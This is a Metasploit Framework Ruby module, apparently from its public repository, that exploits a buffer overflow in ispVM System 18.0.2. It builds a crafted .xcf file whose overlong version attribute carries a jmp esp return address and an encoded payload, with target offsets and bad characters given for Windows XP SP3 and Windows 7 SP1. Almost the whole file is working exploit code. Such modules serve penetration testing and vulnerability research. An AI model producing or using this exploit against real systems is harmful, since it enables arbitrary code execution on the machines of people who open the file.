| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 | ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = NormalRanking  include Msf::Exploit::FILEFORMAT  def initialize(info={})  super(update_info(info,  'Name' => "ispVM System XCF File Handling Overflow",  'Description'=> %q{  This module exploits a vulnerability found in ispVM System 18.0.2.Due to the way  ispVM handles .xcf files, it is possible to cause a buffer overflow with a specially  crafted file, when a long value is supplied for the version attribute of the ispXCF  tag. It results in arbitrary code execution under the context of the user.  },  'License'=> MSF_LICENSE,  'Author' =>  [  'Unknown', # Vulnerability Discovery  'juan vazquez' # Metasploit  ],  'References' =>  [  ['OSVDB', '82000'],  ['BID', '53562'],  ['URL', 'http://secunia.com/advisories/48740/']  ],  'Payload'=>  {  'Space'=> 4000,  'BadChars' => "\x00\x1a\x3c\x20\x3e\xff"  },  'DefaultOptions'=>  {  'ExitFunction' => "process",  },  'Platform' => 'win',  'Targets'=>  [  [ 'ispVM System 18.0.2 / Windows XP SP3 / Windows 7 SP1',  {  'Offset' => 274,  'BreakOffset' => 243,  'Ret' => 0x780e9d6e # jmp esp from C:\ispTOOLS\ispvmsystem\MSVCP60.dll  }  ],  ],  'Privileged' => false,  'DisclosureDate' => "May 16 2012",  'DefaultTarget'=> 0))  register_options(  [  OptString.new('FILENAME', [ true, 'The file name.','msf.xcf']),  ], self.class)  end  def exploit  buf = rand_text(target['Offset'])  buf[target['BreakOffset']] = "A"  buf << [target.ret].pack("V")  buf << payload.encoded  xcf = %Q|  <?xml version='1.0' encoding='utf-8' ?>  <!DOCTYPE ispXCF SYSTEM "IspXCF.dtd" >  <ispXCF version="#{buf}">  </ispXCF>  |  file_create(xcf)  end end |